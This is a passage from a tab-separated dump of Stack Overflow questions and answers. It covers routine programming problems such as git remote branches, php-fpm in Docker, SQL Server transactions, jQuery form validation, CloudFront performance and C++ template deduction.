href="http://en.wiktionary.org/wiki/your_mileage_may_vary" rel="nofollow noreferrer">YMMV</a>.</p>
3068812	0	Deleting remote branches? <p>When I run git branch -a, it prints out like this, for ex:</p> <pre><code>branch_a remotes/origin/branch_a </code></pre> <p>Few questions:</p> <ol> <li>What does branch_a indicate?</li> <li>What does remotes/origin/branch_a indicate?</li> <li>How do I delete remotes/origin/branch_a?</li> </ol>
40975525	0	How to know if message is continuation of conversation? <p>This might be a stupid question, but I haven't come across any mention of it in the docs.</p> <p>How do I know when a message is a continuation of a previous interaction? For example, with BotFather, you send /setdescription and BotFather tells you to send details. You send details and BotFather knows the details are a description for the specified bot.</p> <p>How does it know about the bot I previously specified?</p> <p>I want to avoid fully-qualified commands (for lack of a better term) like:</p> <pre><code>/command [parameter] [parameter] </code></pre> <p>and turn them into:</p> <pre><code>[command] &lt;reaction&gt; [parameter] &lt;reaction&gt; [parameter] </code></pre> <p>Any tips?</p> <p>EDIT: for right now, I'm simply setting 'status' flags on users every time they finish a step in a multi-step operation. I check that tag after receiving every message to determine if a user is in the middle of an operation. It's rather tedious. I wonder if there's a better way / something built in to the API.</p>
2369455	0	 <p>I recommend you start by reading up on computational color theory. Wikipedia is actually a fine place to educate yourself on the subject. Try looking up a color by name on Wikipedia. You will find more than you expect. Branch out from there until you've got a synopsis of the field.</p> <p>As you develop your analytic eye, focus on understanding your favorite (or most despised) interface colors and palettes in terms of their various representations in different colorspaces: RGB, HSB, HSL. Keep Photoshop/GIMP open so you can match the subjective experience of palettes to their quantifiable aspects. See how your colors render on lousy monitors. Notice what always remains readable, and which color combos tend to yield uncharismatic or illegible results. Pay attention to the emotional information conveyed by specific palettes. You will quickly see patterns emerge. For example, you will realize that high saturation colors are best avoided in UI components except for special purposes.</p> <p>Eventually, you'll be able to analyze the output of the palette generators recommended here, and you'll develop your own theories about what makes a good match, and how much contrast is needed to play well on most displays.</p> <p>(To avoid potential frustration, you might want to skip over to Pantone's free color perception test. It's best taken on a color calibrated display. If it says you have poor color perception, then numeric analysis is extra important for you.)</p>
31425670	0	Why php-fpm from official Docker image doesn't work for me? <p>I try to run a new container from <code>php:fpm</code>:</p> <p><code>docker run --name fpmtest -d -p 80:9000 php:fpm</code></p> <p>By default, it exposes port 9000 in its <a href="https://github.com/docker-library/php/blob/32887c1de338d0ad582393b5f1dafd292334423f/5.6/fpm/Dockerfile" rel="nofollow">Dockerfile</a>.</p> <p>Then I log in into container and create index.html file:</p> <pre><code>$ docker exec -i -t fpmtest bash root@2fb39dd6a40b:/var/www/html# echo "Hello, World!" &gt; index.html </code></pre> <p>And inside the container I try to get this content with <code>curl</code>:</p> <pre><code># curl localhost:9000 curl: (56) Recv failure: Connection reset by peer </code></pre> <p>Outside the container I get another error:</p> <pre><code>$ curl localhost curl: (52) Empty reply from server </code></pre>
5655522	0	 <p>The C++ runtime dlls you need are the ones provided with the compiler as redistributable package and exactly this one! Other redist packages won't necessary work because of the manifests embedded in the executables which require an exact version (checked by a hash value of the binaries in the side by side assembly directory C:\Windows\SxS)</p> <p>So you are right with the redistributable but you need the one that was installed with the compiler not one from a best guess from the internet. The exact versions can be looked at in the manifest files (XML)</p>
1803047	0	 <p>I have finished this, just to let anyone know who may have this problem in the future. It turns out the reason there was nothing being taken in was because ADO tries to determine a column type. If other values in this column are not of said type, it removes them completely.</p> <p>To counter this, you need to create a schema.ini file, like so:</p> <pre><code>StreamWriter writer = new StreamWriter(File.Create(dir + "\\schema.ini")); writer.WriteLine("[" + fileToBeRead + "]"); writer.WriteLine("ColNameHeader = False"); writer.WriteLine("Format = CSVDelimited"); writer.WriteLine("CharacterSet=ANSI"); int iColCount = dTable.Columns.Count + 1; for (int i = 1; i &lt; iColCount; i++) { writer.WriteLine("Col" + i + "=Col" + i + "Name Char Width 20"); } //writer.WriteLine("Col1=Col1Name Char Width 20"); //writer.WriteLine("Col2=Col1Name Char Width 20"); //etc. writer.Close(); </code></pre> <p>Thanks for everyone's suggestions!</p>
34332386	0	 <p>If you are not locked in to using SWT, you could use the e(fx)clipse e4 renderer for JavaFX instead.</p> <p>e(fx)clipse has more possibilities to control the lifecycle of the application. For example you can return a <code>Boolean</code> from <code>@PostContextCreate</code> to signal whether you want to continue the startup or not. You will not be able to use <code>EPartService</code> here though, but you can roll your own login dialog using dependency injection as greg-449 has described it in his answer.</p> <pre class="lang-java prettyprint-override"><code>public class StartupHook { @PostContextCreate public Boolean startUp(IEclipseContext context) { // show your login dialog LoginManager loginManager = ContextInjectionFactory.make(LoginManager.class, context); if(!loginManager.askUserToLogin()) { return Boolean.FALSE; } return Boolean.TRUE; } } </code></pre> <p>(You can also restart the application. Form more details see <a href="http://tomsondev.bestsolution.at/2014/11/03/efxclipse-1-1-new-features-api-to-restart-your-e4-app-on-startup/" rel="nofollow">http://tomsondev.bestsolution.at/2014/11/03/efxclipse-1-1-new-features-api-to-restart-your-e4-app-on-startup/</a>). </p>
28355888	0	 <p>Try calling <code>plt.draw()</code> inside of your "updated" function like so:</p> <pre><code>def updated(val): z1 = sz1.val lines=lines_param(z1) #clear out the old lines and plot the new ones plt.cla() for y in lines: plt.plot(x_m, y, linewidth=.2) plt.draw() </code></pre> <p>I was unable to get your code running on my machine because I am not sure how the data your 'foo' directory is structured. If you could post the format of your data it would be easier to debug your issue.</p>
28796109	0	 <p>Swift solutions for easy copy pasting:</p> <pre><code>navigationController?.popViewControllerAnimated(true) </code></pre>
3439713	0	 <p>that is not actually mysql_fetch_array error. this error message says that this function's argument is wrong.<br> and this argument returned by mysql_query() function<br> so it means that there was an error during query execution, on the mysql side.<br> ans mysql has plenty of error messages, quite informative ones.</p> <p>Thus, instead of <em>guessing</em>, you have to get in touch with <strong>certain error message</strong> that will tell you what is wrong. </p> <p>to achieve that, always run your queries this way:</p> <pre><code>$sql = "SELECT * FROM persons"; $res = mysql_query($sql) or trigger_error(mysql_error().$sql); </code></pre>
18609387	0	 <p>You can use jQuery <a href="http://api.jquery.com/event.stopPropagation/" rel="nofollow">stop propagation</a> function , it prevents events from bubling</p>
30360850	0	Double error in Web.config file ASP.NET MVC <p>So when I publish my application I these following errors which I do not get in local mode.</p> <blockquote> <p>"System.Security.SecurityException: Request for the permission of type 'System.Security.Permissions.SecurityPermission, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' failed."</p> </blockquote> <p>So it is said that I'm supposed to write the following code in my Web.config to solve this first error:</p> <pre><code>&lt;trustLevel name="Full"&gt; </code></pre> <p>So I did, but then, I got this error:</p> <blockquote> <p>"This configuration section cannot be used at this path. This happens when the site administrator has locked access to this section using from an inherited configuration file."</p> </blockquote> <p>It apparently has to do with the machine.config (which I cannot find)...</p> <p>Does anyone have a proper solution for this?</p> <p>If you wish to test it yourselves, here is the URL:</p> <p><a href="http://wideart.se/Exhibition" rel="nofollow">http://wideart.se/Exhibition</a></p> <p>Regards</p>
12848068	0	how to set default number keyboard in edittext <p>using EditText i want to use phone keyboard (with letters) by default(!), but using </p> <pre><code>android:inputType="phone" </code></pre> <p>android disables letters input when i change keyboard softly. and i'm also need to use letters when it need how should i declare inputType or something else to use phone keyboard by default and don't lose letters input ability?</p>
5903314	0	 <p>Without seeing more info / code all I can suggest is that you call <code>session_write_close()</code> before making any cURL calls and see if that improves anything.</p> <p>However, the most probable scenario is that your cURL speed is not related to the <code>PHPSESSID</code> cookie.</p>
36632150	0	How to do a partial sum of table rows in LiveCycle - Javascript <p>I have 4 rows (and 3 columns) in a table. The last row is the total. I need to sum only the first two rows, excluding the last one. The problem is they are all calculated values from different tables, how do I do it? I am new to Adobe LiveCycle and Javascript.</p> <p>This is what I currently have:</p> <pre><code>var times = xfa.resolveNodes("Row2[*].Time"); this.rawValue = Calculate.SumRawValues(times); </code></pre> <p>I am trying something like this:</p> <pre><code>var times = xfa.resolveNodes("Row2[*].Time"); var timesFlushing = xfa.resolveNode("Row2[2].Time"); this.rawValue = Calculate.SumRawValues(times) - timesFlushing.value; </code></pre> <p>or something like this:</p> <pre><code>var times = xfa.resolveNodes("Row2[*].Time"); this.rawValue = Calculate.SumRawValues(times) - xfa.resolveNode("Row2[2].Time"); </code></pre> <p>or even this:</p> <pre><code>this.rawValue = Row2.Time + xfa.resolveNode("Row2[1].Time") </code></pre> <p>Clearly I am new to this and none of these work. Help please??? Comments?</p>
39386954	0	 <p>Do one thing , create a new visual studio 2010 solution and <code>import</code> the files . Everything will work fine .</p> <p>This error frequently occurs if you declare a variable in a loop or a try or if block and then attempt to access it from an enclosing code block or a separate code block. </p> <p>Better delete the designer file. You can then right-click on the page, in the solution explorer, and there is an option like <strong><code>Convert to Web Application</code></strong>, which will regenerate your designer file.</p>
40631907	0	 <p>solved and works like a charm by moving the entire code related to app config from app.py in init.py (excepting app.run()) and in app.py import app</p>
4846459	0	 <p>Vista has some <a href="http://en.wikipedia.org/wiki/Windows_Registry#Registry_virtualization" rel="nofollow">virtualization</a> support.</p> <p>One thing that you could do for keys under <a href="http://en.wikipedia.org/wiki/Windows_Registry#HKEY_CURRENT_USER_.28HKCU.29" rel="nofollow">HKCU</a> is create a new user profile and run the app with matching credentials in order to force usage of a specific <a href="http://en.wikipedia.org/wiki/Windows_Registry#HKEY_CURRENT_USER_.28HKCU.29" rel="nofollow">HKCU</a>.</p> <p>If you are feeling brave have a look at the registry <a href="http://www.wotsit.org/list.asp?search=registry&amp;button=GO!" rel="nofollow">file format</a>.</p> <p><strong>Edit:</strong></p> <p><a href="http://www.sandboxie.com/" rel="nofollow">Sandboxie</a> looks interesting. Registry specific <a href="http://www.sandboxie.com/index.php?SandboxHierarchy#keys" rel="nofollow">features</a> </p>
17280926	0	 <p>You have to prevent the default <code>onclick</code>-behaviour with <code>event.preventDefault</code>:</p> <pre><code>$("button#edit&lt;?= $list['ID']; ?&gt;").click(function(e) { e.preventDefault(); $('#longURL&lt;?= $list['ID']; ?&gt;').html("&lt;input type='text' value='&lt;?= $list['longURL']; ?&gt;' /&gt;"); $('#shortURL&lt;?= $list['ID']; ?&gt;').html("&lt;div class='input-prepend'&gt;&lt;span class='add-on'&gt;http://smurl.es/&lt;/span&gt;&lt;input id='prependedInput' type='text' value='&lt;?= $list['shortURL']; ?&gt;' class='span1' /&gt;&lt;/div&gt;"); $("button#edit&lt;?= $list['ID']; ?&gt;").attr({"class": "btn btn-info btn-small test", "data-original-title": "Click to Save", "id": "save&lt;?= $list['ID']; ?&gt;"}); }); </code></pre>
8416406	0	 <pre><code>for i, fname in enumerate(dirList): print "%s) %s" % (i + 1, fname) selectedInt = int(raw_input("Select a file above: ")) selected = dirList[selectedInt - 1] </code></pre> <p>However, note that there is no error correction done. You should catch cases, where the input is no integer.</p>
3720900	0	How does JavaScript interpret indexing? <pre><code>function highlightRow(searchRow) { if(searchRow != null) { var oRows = document.getElementById('Table').getElementsByTagName('tr'); //use row number to highlight the correct HTML row. var lastTwo = searchRow; lastTwo = lastTwo.slice(-2); //extract last two digits oRows[lastTwo].style.background="#90EE90"; } } </code></pre> <p>I got paging off 100 rows. </p> <p>When searchRow returns 55, I highlight row 55.<br> When searchRow returns 177, I highlight row 77, hence the slice function. </p> <p>Now the issue:<br> When searchRow returns 03 or 201, the indexing on oRows[] does not work. </p> <p>Why is this? </p> <p>To confuse me more when I hard coding "03" it does work: </p> <pre><code>oRows[03].style.background="#90EE90"; </code></pre> <p>Any insight into how this works?</p> <p>Does jQuery have this issue?</p> <p>Thank you.</p>
23743825	0	Keep getting BAD_ACCESS when compiling C in Xcode <p>If I start a new Command Line C Project in Xcode and enter the following code I always get a EXC_BAD_ACCESS error when compiling the project.</p> <pre><code>int main(int argc, const char * argv[]) { char *foo = "Hello"; *foo = 'M'; // get EXC_BAD_ACCESS here when compiling } </code></pre> <p>I'm just learning C and can't workout what is wrong with this statement? I'm just trying to change the character at a certain memory location. Has anyone got any ideas?</p>
37107327	0	 <p>If you want to send Push Notification on multiple platform use <a href="https://parse.com" rel="nofollow">Parse.com</a> but problem here is Parse.com is going to stop its services in January 28, 2017. You have alternatives like <a href="https://www.urbanairship.com/" rel="nofollow">urban airship</a> and many more. I personally suggest urban airship.</p>
3935900	0	How to commit and rollback transaction in sql server? <p>I have a huge script for creating tables and porting data from one server. So this sceipt basically has - </p> <ol> <li>Create statements for tables.</li> <li>Insert for porting the data to these newly created tables.</li> <li>Create statements for stored procedures. </li> </ol> <p>So I have this code but it does not work basically @@ERROR is always zero I think..</p> <pre><code>BEGIN TRANSACTION --CREATES --INSERTS --STORED PROCEDURES CREATES -- ON ERROR ROLLBACK ELSE COMMIT THE TRANSACTION IF @@ERROR != 0 BEGIN PRINT @@ERROR PRINT 'ERROR IN SCRIPT' ROLLBACK TRANSACTION RETURN END ELSE BEGIN COMMIT TRANSACTION PRINT 'COMMITTED SUCCESSFULLY' END GO </code></pre> <p>Can anyone help me write a transaction which will basically rollback on error and commit if everything is fine..Can I use <a href="http://msdn.microsoft.com/en-us/library/ms178592.aspx">RaiseError</a> somehow here..</p>
1093319	0	 <p>Adding a ParentNode property to each node is "not really that bad". In fact, it's rather common. Apparently you didn't add that property because you didn't need it originally. Now you need it, so you have good reason to add it.</p> <p>Alternates include: </p> <ul> <li>Writing a function to find the parent of a child, which is processor intensive.</li> <li>Adding a separate class of some sort which will cache parent-child relationships, which is a total waste of effort and memory.</li> </ul> <p>Essentially, adding that one pointer into an existing class is a choice to use memory to cache the parent value instead of using processor time to find it. That appears to be a good choice in this situation.</p>
14068125	0	 <p>PHP is indeed a <strong>server-side</strong> application and thus cannot perform <strong>client-side</strong> validation. </p> <p>If you really want to do client-side validation, you'll probably have to use javascript. Have a look at the <a href="http://bassistance.de/jquery-plugins/jquery-plugin-validation/" rel="nofollow">jQuery validation plugin</a>. Here is a big demo page showing you some of the possibilities: <a href="http://jquery.bassistance.de/validate/demo/" rel="nofollow">http://jquery.bassistance.de/validate/demo/</a> </p> <p>For more help and information, also have a look at the <a href="http://docs.jquery.com/Plugins/Validation" rel="nofollow">jQuery.com/plugins/validation</a> page.<br> (Note the <strong>WARNING</strong> at the end of this post) </p> <p><strong>Example:</strong><br> (the javascript)</p> <pre><code>&lt;script&gt; $(document).ready(function(){ $("#commentForm").validate(); }); &lt;/script&gt; </code></pre> <p>(the form)</p> <pre><code>&lt;form class="cmxform" id="commentForm" method="get" action=""&gt; &lt;fieldset&gt; &lt;legend&gt;A simple comment form with submit validation and default messages&lt;/legend&gt; &lt;p&gt; &lt;label for="cname"&gt;Name&lt;/label&gt; &lt;em&gt;*&lt;/em&gt;&lt;input id="cname" name="name" size="25" class="required" minlength="2" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label for="cemail"&gt;E-Mail&lt;/label&gt; &lt;em&gt;*&lt;/em&gt;&lt;input id="cemail" name="email" size="25" class="required email" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label for="curl"&gt;URL&lt;/label&gt; &lt;em&gt; &lt;/em&gt;&lt;input id="curl" name="url" size="25" class="url" value="" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label for="ccomment"&gt;Your comment&lt;/label&gt; &lt;em&gt;*&lt;/em&gt;&lt;textarea id="ccomment" name="comment" cols="22" class="required"&gt;&lt;/textarea&gt; &lt;/p&gt; &lt;p&gt; &lt;input class="submit" type="submit" value="Submit"/&gt; &lt;/p&gt; &lt;/fieldset&gt; &lt;/form&gt; </code></pre> <p><strong>WARNING</strong><br> Please keep in mind that javascript, being <em>client-side</em>, runs on the client's computer. Don't rely on javascript validation alone. Anyone can disable javascript and insert 'wrong' values in your form.</p>
9899648	0	Jquery UI disable dynamic tabs <p>My UI tabs can change based on user action (example - a status message may appear in tab[0]). </p> <p>I also need to be able to disable specific tabs - I know the href, but the index may well change.</p> <p>The UI dox say that you can pass a href instead of an index, but I can't seem to get that to fly.</p> <p>This is what I am doing instead:</p> <pre><code>var disableSlots = []; $('ul.ui-tabs-nav li').each(function(index, el){ if ($(this).children('a').attr('href') == '#DISABLE_ME'){ disableSlots.push(index); } }); $('#tabs').tabs("option","disabled",disableSlots); </code></pre> <p>Is there a better way?</p>
924834	0	 <p>You can use <code>Configure::read('Config.language')</code>. A part of the CakePHP cookbook states:</p> <blockquote> <p>The current locale is the current value of Configure::read('Config.language'). The value of Config.language is assigned in the L10n Class - unless it is already set.</p> </blockquote> <p>I18n, the class responsible for translation using <code>__()</code>, uses <code>Config.language</code> so, unless you override it in <code>bootstrap.php</code>, that variable contains the selected language. Actually, even if you override it, it will still contain the used language (there might be inconsistencies because I10n is not really aware of the change but I never ran into any).</p> <p>To get a list of languages, you can use <code>L10n::catalog()</code>. I'm not sure it's what you're after, however, since it lists all languages CakePHP knows about, not only the languages that actually have a translation in <code>app/locale</code>.</p>
40194256	0	 <p>Your immediate problem is that you need parentheses around <code>(List.length xs)</code>. The code also treats an empty input list as an error in all cases, which is not correct. An empty list is a legitimate input if the desired length <code>k</code> is 0.</p> <p><strong>Update</strong></p> <p>You also have one extra parameter in your definition. If you say this:</p> <pre><code>let myfun k xs = function ... </code></pre> <p>the function <code>myfun</code> has 3 parameters. The first two are named <code>k</code> and <code>xs</code> and the third is implicitly part of the <code>function</code> expression.</p> <p>The quick fix is just to remove <code>xs</code>.</p> <p>I think you might be asking for the wrong number of elements in your recursive call to <code>take</code>. Something to look at anyway.</p>
3397043	0	 <p>You can just use Windows Explorer. Open Windows Explorer and go into the <code>assembly</code> folder inside your Windows folder. You should then see all the assemblies that are registered, if you want to add yours in, just drag and drop it in there.</p> <p>Or if you prefer, you can locate the gacutil.exe and use that to do it (but it's not installed with the framework nowdays, only with the SDK I think).</p>
16257105	0	 <p>Use a Backtick <code>`</code> to escape <code>"</code></p> <blockquote> <p>IfWinExist, "`"C:\Program Files (x86)\Git\" ahk_class VirtualConsoleClass</p> </blockquote>
33742599	0	 <p>You have some acceleration function</p> <pre><code>a(p,q) where p=(x,y,z) and q=(vx,vy,vz) </code></pre> <p>Your order 1 system that can be solved via RK4 is</p> <pre><code>dotp = q dotq = a(p,q) </code></pre> <p>The stages of the RK method involve an offset of the state vector(s)</p> <pre><code>k1p = q k1q = a(p,q) p1 = p + 0.5*dt*k1p q1 = q + 0.5*dt*k1q k2p = q1 k2q = a(p1,q1) p2 = p + 0.5*dt*k2p q2 = p + 0.5*dt*k2q k3p = q2 k3q = a(p2,q2) </code></pre> <p>etc. You can either adjust the state vectors of the point <code>P</code> for each step, saving the original coordinates, or use a temporary copy of <code>P</code> to compute <code>k2, k3, k4</code>.</p>
19280494	0	What are inline PHP tags utilizing the PHP shortcut operator? <pre><code> &lt;html&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt; &lt;h1&gt;Welcome to Our Website!&lt;/h1&gt; &lt;hr/&gt; &lt;h2&gt;News&lt;/h2&gt; &lt;h4&gt;&lt;?=$data['title'];?&gt;&lt;/h4&gt; &lt;p&gt;&lt;?=$data['content'];?&gt;&lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Can anyone tell me what's the "=" sign before variable names ? I thought of some echo alias but I couldn't find anything, thanks for your help</p>
4828109	0	Create new identifier with macros <p>I want a macro that create a new identifier like</p> <pre><code>(new-name first second) =&gt; first-second </code></pre> <p>that could be used to define new toplevel bindings</p> <pre><code>(define-syntax define-generic (syntax-rules () ((define-generic (name a b ...)) (begin (define (new-name name data) 15) ; &lt;= create a new binding (define name (lambda (a b ...) (add (new-name name-data) 7)))))) ; &lt;= use new identifier </code></pre> <p>If i set! the value of the "new-name" binding, then it should affect the newly created procedure.</p>
36075549	0	 <p>You should unquote to the true:</p> <pre><code>if(html==true) //or just, if(html) </code></pre> <p>Otherwise it will look for string "true" and this is why it goes to the else part.</p>
1470480	0	 <pre><code>class Greeting(db.Model): author = db.UserProperty() content = db.StringProperty(multiline=True) date = db.DateTimeProperty(auto_now_add=True) </code></pre> <p>This code instructs the ORM (object relational mapper) to create a table in the database with the fields "author", "content" and "date". Notice how class Greeting is inherited from db.Model: It's a model for a table to be created in the database.</p> <pre><code>class Guestbook(webapp.RequestHandler): def post(self): greeting = Greeting() if users.get_current_user(): greeting.author = users.get_current_user() greeting.content = self.request.get('content') greeting.put() self.redirect('/') </code></pre> <p>Guestbook is a request handler (notice which class it's inherited from). The post() method of a request handler is called on the event of a POST request. There can be several other methods in this class as well to handle different kinds of requests. Now notice what the post method does: It instantiates the Greeting class- we now have an instance, greeting object. Next, the "author" and "content" of the greeting object are set from the request information. Finally, greeting.put() writes to the database. Additionally, note that "date" is also set automatically to the date/time of writing the object to the database.</p>
39980536	0	Geolocation.getCurrentPosition: Timeout expired <p>I am using Ionic2.</p> <p>I am using the following code, but get an error:</p> <pre><code>import { Geolocation } from 'ionic-native'; public getPosition(): void { if (this.markers &amp;&amp; this.markers.length &gt; 0) { var marker: google.maps.Marker = this.markers[0]; // only one this.latitude = marker.getPosition().lat(); this.longitude = marker.getPosition().lng(); this.getJobRangeSearch(this.searchQuery); } else { let options = { timeout: 10000, enableHighAccuracy: true }; Geolocation.getCurrentPosition(options).then((position) =&gt; { this.latitude = position.coords.latitude; this.longitude = position.coords.longitude; this.getJobRangeSearch(this.searchQuery); }).catch((error) =&gt; { console.log(error); this.doAlert(error+' Timeout trying to get your devices Location'); }); } } </code></pre> <p><strong>error:</strong></p> <blockquote> <p>PositionError {message: "Timeout expired", code: 3, PERMISSION_DENIED: 1, POSITION_UNAVAILABLE: 2, TIMEOUT: 3}</p> </blockquote> <p><strong>package.json</strong></p> <pre><code>"ionic-native": "^1.3.2", </code></pre> <p>Thank you</p>
34970499	0	AWS S3 + CDN Speed, significantly slower <p>Ok,</p> <p>So I've been playing around with amazon web services as I am trying to speed up my website and save resources on my server by using AWS S3 &amp; CloudFront. </p> <p>I ran a page speed test initially, the page speed loaded in <strong>1.89ms</strong>. I then put all assets onto an s3 bucket, made that bucket available to cloudfront and then used the cloudfront url on the page.</p> <p>When I ran the page speed test again using <a href="http://tools.pingdom.com/fpt/" rel="nofollow">this tool</a> using all their server options I got these results:</p> <blockquote> <p>Server with lowest speed of : 3.66ms</p> <p>Server with highest speed of: 5.41ms</p> </blockquote> <p>As you can see there is a great increase here in speed. Have I missed something, is it configured wrong? I thought the CDN was supposed to make the page speed load faster. </p>
19440168	0	 <p>you're creating temporary variable <code>a</code> in function <code>calculateFlexibility</code>, then you store pointer to <code>f.flex</code> variable, but after function is ended - <code>a</code> is gone from memory, so your <code>f.flex</code> pointer is now pointing to nowhere</p> <p>if you want to have really variable length, you should do something like this:</p> <pre><code>Flexibility calculateFlexibility() { Flexibility f; f.flex = (int*)malloc(....); return f; } </code></pre> <p>and at the end of program:</p> <pre><code>free(f.flex); </code></pre> <p>for proper arguments of malloc I suggest you to read: <a href="http://en.cppreference.com/w/c/memory/malloc" rel="nofollow">http://en.cppreference.com/w/c/memory/malloc</a></p>
16670708	0	 <p>finally it was fixed, the problem was with the encryption of the file, I put it UTF8 without BOM instead of UTF8 </p>
12171220	0	 <p>div is a block element and it take the whole place horizantly, to place another div in parallel you need to use css property float left . use style property <code>style="float:left"</code>.</p> <p><code>&lt;div id="accountstabs-1"&gt; &lt;div id="links" style="text-align:left; float:left"&gt; &lt;li&gt;&lt;a href="#DisplayData" id="settings1" onclick="manage(this.id)"&gt;Manage&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#DisplayData-2" id="settings2" onclick="manage(this.id)"&gt;Users&lt;/a&gt;&lt;/li&gt; &lt;/div&gt; &lt;div id="DisplayData" style="text-align:right"&gt; &lt;table class="data"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt; First Name &lt;/th&gt; &lt;th&gt; Last Name &lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;/table&gt; &lt;/div&gt; &lt;/div&gt;</code></p>
1270689	0	 <p>As an ex one-liner:</p> <pre><code>:syn clear Repeat | g/^\(.*\)\n\ze\%(.*\n\)*\1$/exe 'syn match Repeat "^' . escape(getline('.'), '".\^$*[]') . '$"' | nohlsearch </code></pre> <p>This uses the <code>Repeat</code> group to highlight the repeated lines.</p> <p>Breaking it down:</p> <ul> <li><code>syn clear Repeat</code> :: remove any previously found repeats</li> <li><code>g/^\(.*\)\n\ze\%(.*\n\)*\1$/</code> :: for any line that is repeated later in the file <ul> <li>the regex <ul> <li><code>^\(.*\)\n</code> :: a full line</li> <li><code>\ze</code> :: end of match - verify the rest of the pattern, but don't consume the matched text (positive lookahead)</li> <li><code>\%(.*\n\)*</code> :: any number of full lines</li> <li><code>\1$</code> :: a full line repeat of the matched full line</li> </ul></li> <li><code>exe 'syn match Repeat "^' . escape(getline('.'), '".\^$*[]') . '$"'</code> :: add full lines that match this to the <code>Repeat</code> syntax group <ul> <li><code>exe</code> :: execute the given string as an ex command</li> <li><code>getline('.')</code> :: the contents of the current line matched by <code>g//</code></li> <li><code>escape(..., '".\^$*[]')</code> :: escape the given characters with backslashes to make a legit regex</li> <li><code>syn match Repeat "^...$"</code> :: add the given string to the <code>Repeat</code> syntax group </li> </ul></li> </ul></li> <li><code>nohlsearch</code> :: remove highlighting from the search done for <code>g//</code></li> </ul> <p>Justin's non-regex method is probably faster:</p> <pre><code>function! HighlightRepeats() range let lineCounts = {} let lineNum = a:firstline while lineNum &lt;= a:lastline let lineText = getline(lineNum) if lineText != "" let lineCounts[lineText] = (has_key(lineCounts, lineText) ? lineCounts[lineText] : 0) + 1 endif let lineNum = lineNum + 1 endwhile exe 'syn clear Repeat' for lineText in keys(lineCounts) if lineCounts[lineText] &gt;= 2 exe 'syn match Repeat "^' . escape(lineText, '".\^$*[]') . '$"' endif endfor endfunction command! -range=% HighlightRepeats &lt;line1&gt;,&lt;line2&gt;call HighlightRepeats() </code></pre>
15181051	0	Simple TextView and ImageView "Hello" App <p>I'm trying to run a simple greeting app that displays some text and 2 clipart-type images. I think I put my image files in the right place and named everything correctly but when I run it, the console gets stuck on the following message, without going any further. Any suggestions or advice would be great! </p> <pre><code>ActivityManager: Starting: Intent { act=android.intent.action.MAIN cat[android.intent.category.LAUNCHER].... </code></pre>
28936698	0	 <p>The first solution works fine, I get all areas except the ones of TBA, HBA and AWN. (My datasource is a POSTGIS-DB)</p> <p>I tried the other two as well:</p> <ul> <li>EXPRESSION /^[TBA|HBA|AWN]/: I get the areas of TBA,HBA and AWN (with NOT it doesn't work) </li> <li>EXPRESSION ("[zustaendigkeit]" NOT IN "TBA,HBA,AWN"): I don't get anything</li> </ul> <p>Thanks.</p>
15031198	0	Templates, variadic function, universal references and function pointer : an explosive cocktail <p>Consider the following code and the <code>apply</code> function :</p> <pre><code>// Include #include &lt;iostream&gt; #include &lt;array&gt; #include &lt;type_traits&gt; #include &lt;sstream&gt; #include &lt;string&gt; #include &lt;cmath&gt; #include &lt;algorithm&gt; // Just a small class to illustrate my question template &lt;typename Type, unsigned int Size&gt; class Array { // Class body (forget that, this is just for the example) public: template &lt;class... Args&gt; Array(const Args&amp;... args) : _data({{args...}}) {;} inline Type&amp; operator[](unsigned int i) {return _data[i];} inline const Type&amp; operator[](unsigned int i) const {return _data[i];} inline std::string str() { std::ostringstream oss; for (unsigned int i = 0; i &lt; Size; ++i) oss&lt;&lt;((*this)[i])&lt;&lt;" "; return oss.str(); } protected: std::array&lt;Type, Size&gt; _data; // Apply declaration public: template &lt;typename Return, typename SameType, class... Args, class = typename std::enable_if&lt;std::is_same&lt;typename std::decay&lt;SameType&gt;::type, Type&gt;::value&gt;::type&gt; inline Array&lt;Return, Size&gt; apply(Return (*f)(SameType&amp;&amp;, Args&amp;&amp;...), const Array&lt;Args, Size&gt;&amp;... args) const; }; // Apply definition template &lt;typename Type, unsigned int Size&gt; template &lt;typename Return, typename SameType, class... Args, class&gt; inline Array&lt;Return, Size&gt; Array&lt;Type, Size&gt;:: apply(Return (*f)(SameType&amp;&amp;, Args&amp;&amp;...), const Array&lt;Args, Size&gt;&amp;... args) const { Array&lt;Return, Size&gt; result; for (unsigned int i = 0; i &lt; Size; ++i) { result[i] = f((*this)[i], args[i]...); } return result; } // Example int main(int argc, char *argv[]) { Array&lt;int, 3&gt; x(1, 2, 3); std::cout&lt;&lt;x.str()&lt;&lt;std::endl; std::cout&lt;&lt;x.apply(std::sin).str()&lt;&lt;std::endl; return 0; } </code></pre> <p>The compilation fails with :</p> <pre><code>universalref.cpp: In function ‘int main(int, char**)’: universalref.cpp:45:32: erreur: no matching function for call to ‘Array&lt;int, 3u&gt;::apply(&lt;unresolved overloaded function type&gt;)’ universalref.cpp:45:32: note: candidate is: universalref.cpp:24:200: note: template&lt;class Return, class SameType, class ... Args, class&gt; Array&lt;Return, Size&gt; Array::apply(Return (*)(SameType&amp;&amp;, Args&amp;&amp; ...), const Array&lt;Args, Size&gt;&amp; ...) const [with Return = Return; SameType = SameType; Args = {Args ...}; &lt;template-parameter-2-4&gt; = &lt;template-parameter-1-4&gt;; Type = int; unsigned int Size = 3u] universalref.cpp:24:200: note: template argument deduction/substitution failed: universalref.cpp:45:32: note: mismatched types ‘SameType&amp;&amp;’ and ‘long double’ universalref.cpp:45:32: note: mismatched types ‘SameType&amp;&amp;’ and ‘float’ universalref.cpp:45:32: note: mismatched types ‘SameType&amp;&amp;’ and ‘double’ universalref.cpp:45:32: note: couldn't deduce template parameter ‘Return’ </code></pre> <p>I am not very sure why it fails. In that code, I would like :</p> <ul> <li>to keep universal references to have the most generic function</li> <li>to be able to use the syntax <code>apply(std::sin)</code> </li> </ul> <p>So what do I have to change to make it compile ?</p>
18726618	0	 <p>You could use the <code>Url</code> helper to create the right url using the table routes rules. For sample:</p> <pre><code>window.location = '@Url.Action("RejectDocument", "YourController", new { id = 222, rejectReason = "this is my reject reason" })'; </code></pre>
